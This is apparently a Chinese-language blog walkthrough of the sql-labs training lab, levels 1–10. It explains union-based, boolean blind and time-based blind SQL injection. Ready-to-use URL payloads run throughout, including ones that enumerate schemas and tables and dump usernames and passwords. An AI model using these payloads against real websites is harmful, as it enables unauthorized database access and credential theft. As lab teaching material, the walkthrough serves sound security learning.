superforming的sql-labs大通关

第一部分(第1~10关)
第二部分(第11~16关)
第三部分(特殊的17关)
持续更新…continue…

提要

本文中的sql语句不可以直接复制到靶场中注入,因为编辑的时候不一定是用英语符号,直接复制可能不会注入成功。我写这一系列的博客,主要是记录的自己的学习心路。

sql注入的基本概念

在开始闯关之前不妨先对sql注入有一个基本的概念,所谓sql注入,实际上就是通过漏洞将sql命令插入表单或输入域名或页面请求的查询字符串,把sql语句注入到后台数据库,从而把网站数据库中的信息提取出来。

(1)sql-labs第一、二、三、四关(联合查询)

  • 还可以布尔盲注,时间盲注和报错注入

<1>前四关的区别

进行sql注入有不同的方法,前四关都是一种类型,它们的不同之处在与包裹数据的方式不同(看图观察‘$id’变量的包裹方式)。之所以说它们是有别于之后几关的sql注入,是因为它们会直接把id对应的‘username’和’password’回显到网页中(观察if语句中的内容)。下面附图说明不同。

  • 第一关部分源码
  • 第二关部分源码
  • 第三关部分源码
  • 第四关部分源码

通过观察可以发现每一关的包裹数据的方式都不相同

第一关:通过’$id’的方式包裹

第二关:通过$id的方式包裹

第三关:通过(’$id’)的方式包裹

第四关:通过($id)的方式包裹

根据包裹方式的不同,注入时也是略有不同。
一般包裹方式就是七中分别是:id、‘id’、(‘id’)、((‘id’))、“id”、(“id”)、((“id”))。确定类型以后可以使用手工测试的方式进行确定。

<2>联合查询可以用到的sql语句及函数

(1)推断有多少列的方法:

1、order by [数字]
2、order by [列名1,列名2](这个语句可以用来将回显的数据排序,具体的使用方法如第一种是按照对应的数字的列数升序排列(比如数字为一则代表按照第一列升序排列),第二种则是按照从左往右所取第一个列排序,且默认在不加desc的情况下按照升序排列)

(2)联合查询:

union的使用 (使用时需要注意,union明确要求前后语句回显数据的列数相同。不明白这句话的朋友是因为没有关系型数据库和非关系型数据库的概念。)

(3)查库:

1、select schema_name from information_schema.schemta;
2、select database();

(4)查表:

select table_name from information_schema.tables where table_schema=‘库名’;

(5)查列:

select column_name from information_schema.columns where table_name=‘表名’;

(6)其它

?id=-1’ union select 1,2,group_concat(sechma_name) from information_schema.schemata–+;
其中group_concat的作用是使同一个分组中的值连接起来,返回一个字符串结果。此外类似功能的函数还有concat、concat_ws功能上略有不同,比如concat是将所传的参数按行连接,concat_ws则在按行连接的基础上在同一行中不同列直接插入设置好的符号。

<3>以第一关为例(第二,三,四关类似第一关,只需要将以下所讲的每一条语句中的包裹方式换成上面所推测出的各关的包裹方式)

  • 1.第一步(判断是否存在注入)
    先在url栏里面输入?id=1’,发现将数据库中的语句返回到了页面上说明存在报错注入,同时根据id=1时返回的页面发现会将返回的数据直接回显到页面上,证明直接用最基本的联合查询也行。

  • 2.第二步(判断查询语句查询结果的列数)
    在url栏中输入?id=1’ order by 数字–+(‘–+’在sql中是注释符,这样让之后的语句不能执行,只能执行我们注入的语句(同时sql中注释符还有‘–空格’,‘#’,在get传参中还有一种注释符是‘–%20’,在get
    传参时是不能用#。至于为什么各位想不明白的朋友可以去学习一下url的规格再了解一下url编码)。数字要从1开始逐个尝试,直到报错。最后则说明表里面有报错的数前一个的数的列数

    由下面两副图你会发现查询语句最后的回显中一共有三列

  • 3.第三步(判断表中哪几列的信息会回显)
    在url栏的域名后输入?id=-1’ union select 1,2,3–+
    因为前四关会有回显,所以看回显出的是哪几个数字就能判断出哪几列会回显到网页上,由下图可知是第2、3列会回显的网页中。同时要注意要让id的值等于一个不存在的值这样联合查询之后的返回值会让union之后的查询语句的结果在数组的第一列,而后台php代码只会回显第一列的数据。由此让id的值是一个不存在的值的话我们才能得到想要的真实数据。

  • 4.第四步(查库名)
    在url栏里面输入:?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+或者输入?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 1,1–+(limit的作用是限制回显的库名是第几个)这里主要是说明一下limit的用法,因为下面几关会用到,到时候不做说明。

  • 5.第五步(查表名)
    要输入的是:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+

  • 6.第六步(查列名)
    在url栏输入:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+

  • 7.第七步(提取数据)
    输入:?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from users–+(‘concat_ws’的作用是将‘username’和’password’合并回显,同时在它们中间插入‘~’)

(2)sql第五关到第八关(布尔盲注)

  • 还可以时间盲注,报错注入

<1>第五、六、七、八关的不同

和前四关不同的是第五关到第八关没有将搜索到的信息回显到网页上(注意观察if语句中的内容),但是和前四关相同的是它们之间的不同也是包裹‘id’变量的方式不同(注意观察’id’变量)(值得说明的是第五关和第八关的包裹方式相同,但是它们还有一个区别是当输入错误的语句时,第五关会返回错误的提示而第八关则不会,读者可以留意下图中第五关和第八关的源码,也就是说第五关能用报错注入,而第八关则不行)

  • 第五关

  • 第六关

  • 第七关

  • 第八关
    第五关的包裹方式:‘id’

第六关的包裹方式:id

第七关的包裹方式:((‘id’))

第八关的包裹方式:‘id’

<2>布尔盲注可以用到的sql语句及函数

较前四关而言第五关到第八关不同之处在于没有回显,我们不能直观的看见信息,所以我们需要一种新的方式进行sql注入——布尔型注入

1.substr()函数:格式是substr(a,b,c)意思是将a字符串从b位置截取c长度

举例: select substr((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’;

2.ascii()函数:将括号中的字符转换为acsii码,再在最后进行值大小的判断,正确返回1,错误返回0

举例: select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>1;

3.模糊查询:要用到like函数

举例:
(1)show databases like ‘%s%’;表示库名中是否有一个带有s
(2)show databases like ‘s%’;表示库名中是否有一个开头字符为s

4.regexp函数,regexp为匹配security正则表达式

举例: select database() regexp ‘s’;

5.left函数,从字符串左边开始截取括号中的数字个长度的字符

举例:select left((select schema_name from information_schema.schemata limit 0,1),1)=‘i’;

<3>以第五关为例(第六,七,八关类似第五关,只需要将以下所讲的每一条语句中的包裹方式换成上面所推测出的各关的包裹方式)

本文的做题方法选用的是基于联合查询的布尔盲注,在下一部分会讲不基于布尔查询的盲注。

  • 1.第一步:(判断是否存在注入)
    输入?id=1’判断是否有sql注入,通过下图判断出,存在sql注入。

  • 2.第二部(判断查询语句查询结果的列数)
    输入:?id=1’ order by 3–+得到
    再输入:?id=1’ order by 4–+得到
    最后可以发现,查询语句查询结果有三列

  • 3.第三步(和前四关不同的是这里没有回显,所以就不需要通过联合查询判断哪几列会回显到网页上,直接判断数据库名)
    输入:
    ?id=1’ union select 1,2,substr((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’–+
    或者
    ?id=1’ union select 1,2,select left((select schema_name from information_schema.schemata limit 4,1),1)=‘s’–+
    又或
    ?id=1’ union select 1,2,ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>0–+通过二分法和ascii函数联合的方式进行判断

还有很多盲注的方式这里不再一一介绍,通过多种函数的联合的方法可以有许多不同的方法,留待读者自己去发现。总体思路就是输入一段语句,让服务器判断正误,通过网页回显进行猜测。一般盲注都会通过burpsuite等软件进行操作,具体的使用方法请读者自行寻找对应文章。

  • 4.第四、五、六步基本上与第三步的思路相同,只是其中的一些关键字不再相同,读者结合前四关的基础和这一部分所讲的盲注方式,一定可以轻易的理解,并使用,所以第四、五、六步不再赘述。

(3)第九关与第十关(时间盲注)

  • 还可以报错注入

与第五关到第八关不同第九关到第十关只能用时间盲注,原因是无论输入的语句正确与否都会得到相同的回显‘you are in…’,所以为了判断输入语句正确与否

<1>只能用时间盲注的原因

与第五关到第八关不同第九关到第十关只能用时间盲注,原因是无论输入的语句正确与否都会得到相同的回显‘you are in…’,所以为了判断输入语句正确与否,要用到一个新的函数if()和sleep(),这样通过相应客户端的时间就知道输入语句是否正确,得到的结果是否正确。

<2>第九关、第十关的不同

老规矩贴图为例,和之前提过的观察点相同。
1.第九关集成环境中的源码
2.第十关集成环境中的源码
第九关包裹方式:‘id’
第十关包裹方式:id

<3>学习时间盲注补充的sql语句及函数

1.格式:sleep(n)
这个函数的意思是让程序晚n秒执行。
2.格式:if(A,B,C)
意思是若A为真,则执行B,若A为假,则执行C。

<4>以第九关为例(第十关类似第九关,只需要将以下所讲的每一条语句中的包裹方式换成上面所推测出的各关的包裹方试)

  • 1.第一步(判断是否存在注入)
    输入?id=1’ and sleep (5)–+判断是否有sql注入,如果没有立即相应客户端,则说明存在漏洞。

  • 2.第二步(因为没有回显,所以直接进行判断库的操作)

  • 输入?id=1‘ and if((substr((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’),1,sleep(3))–+通过给的句子进行不断猜解,就可以查到库名。

  • 3.用近似的语句可以查表名、列名及表中信息,通过前面的练习,相信读者已经对sql注入有了了解,重复的部分不再赘述。

superforming的sql-labs大通关

第一部分(第1~10关)
第二部分(第11~16关)
第三部分(特殊的17关)
持续更新…continue…

superforming的sql-labs大通关之第一部分(第1~10关)解析及注入方法相关推荐

  1. sql—labs通关

    本文使用的工具有Navicat,phpstrom,小皮面板,至于安装方法这里不再描述可以,哔哩哔哩搜索一下即可 sqllabs下载地址:https://github.com/Audi-1/sqli-l ...

  2. sqlmap使用_sqlmap于sql labs下使用

    本文主要是写sqlmap在sql labs下的使用学习记录,目的在于模拟黑盒测试,不太在意原理.(当然,原理还是要学习好才这么干的.) 不得不说收获还是蛮大的.首先推荐下sqlmap使用的学习视频. ...

  3. 03.三月风雨愁断肠,学习大数据特别忧伤——谈谈AKS创建SQL Server大数据群集创建愁断肠

    03.三月风雨愁断肠,学习大数据特别忧伤--谈谈AKS创建SQL Server大数据群集创建愁断肠 [TOC] 前言 使用AKS创建SQL Server大数据群集有几种方法,由于产品不断的更新,SQL ...

  4. ASP.NET Web——GridView完整增删改查示例(全篇幅包含sql脚本)大二结业考试必备技能

    ASP.NET Web--GridView 完整增删改查示例(全篇幅包含sql脚本)大二结业考试必备技能 环境说明 系统要求:win7/10/11 开发语言:C# 开发工具:Visual Studio ...

  5. 数据库sql优化总结之5--数据库SQL优化大总结

    数据库SQL优化大总结 小编最近几天一直未出新技术点,是因为小编在忙着总结整理数据库的一些优化方案,特此奉上,优化总结较多,建议分段去消化,一口吃不成pang(胖)纸 一.百万级数据库优化方案 1.对 ...

  6. SQL优化大神带你写有趣的SQL(6) SELF JOIN的应用

    大家好,我是知数堂SQL 优化班老师 网名:骑龟的兔子 今天给大家,带来的是 SELF JOIN的应用 下面是,表结构和,INSERT 语句脚本. create table t0718 (idx in ...

  7. 网络营销新人应该掌握的6大通关方法

    当然大多数网络营销新人的基础目的还是想实现网赚的第一步,那么我们以网赚为基础的前提下,新人应该掌握以下6大通关方法: 一.微博营销 以新浪微博为例,营销大号已然成为微博江湖里盈利模式较清晰的一种模式. ...

  8. sqli——labs初学者通关详

    目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...

  9. 某银行信用卡中心——大数据反欺诈应用案例 2017-06-23 10:54 本篇案例为数据猿推出的大型“金融大数据主题策划”活动(查看详情)第一部分的系列案例/征文;感谢 百融金服 的投递 作为整体

    某银行信用卡中心--大数据反欺诈应用案例 2017-06-23 10:54 本篇案例为数据猿推出的大型"金融大数据主题策划"活动(查看详情)第一部分的系列案例/征文:感谢 百融金服 ...

  10. SQL Server 大数据搬迁之文件组备份还原实战

    SQL Server 大数据搬迁之文件组备份还原实战 原文:SQL Server 大数据搬迁之文件组备份还原实战 一.本文所涉及的内容(Contents) 本文所涉及的内容(Contents) 背景( ...

最新文章

  1. Java实现文件分割和文件合并实例
  2. 输入列号得到excel对应的字母列
  3. oracle flashback table 参数,Oracle10g中FLASHBACK TABLE语句恢复DML误操作
  4. linux netlink 编程示例(一)内核端
  5. 用代码获取Oracle服务名清单
  6. mysql怎么修改表中的文字_mysql表中怎么修改字段?
  7. 深度学习数据集制作_深度学习时代的数据驱动建模之探讨
  8. 了解:shell脚本+脚本优化+脚本注入+正则表达式
  9. 一粒云盘发布v3.5版本
  10. 微信支付商户证书cert.zip中确实rootca.pem文件解决方法
  11. 基于QQ空间API和jsonp跨域的QQ空间背景音乐查询
  12. python调整dicom窗宽窗位_【基础篇】kaggle || RSNA脑溢血金牌案例技术分享!如何使用dicom格式的数据的?...
  13. 论文解读:Cycle ISP Real Image Restoration via Improved Data Synthesis
  14. HI3861学习笔记(17)——NFC标签NT3H1201使用
  15. vulnhub:Who Wants To Be King: 1
  16. shazam 音频指纹 听歌识曲 原理(附代码)
  17. 提升项目经理的有效路径之一:学习PMP项目管理
  18. 站在产业互联网爆发的风口,定推一折购跃上云端服务中小企业发展
  19. wordpress发邮件_如何修复WordPress不发送电子邮件的问题
  20. CST学习------网格类型及设置方法和技巧

热门文章

  1. mysql 误删表怎么恢复_怎么恢复navicat删除的表
  2. GIS 中地图分辨率与比例尺计算公式
  3. 在几何画板中如何制作圆柱的侧面展开动画_怎样用ppt做圆柱的侧面展开动画
  4. 广东电信在线人工服务器,202.96.128.86广东电信DNS故障及解决方法
  5. 学习计算机英语的重要性
  6. java里如何继承一个类_java如何继承类
  7. Json格式乱码处理方式
  8. PS中放大图片不失真的方法
  9. Pspice仿真实验-RC滤波器电路
  10. 人类为什么不会被人工智能取代?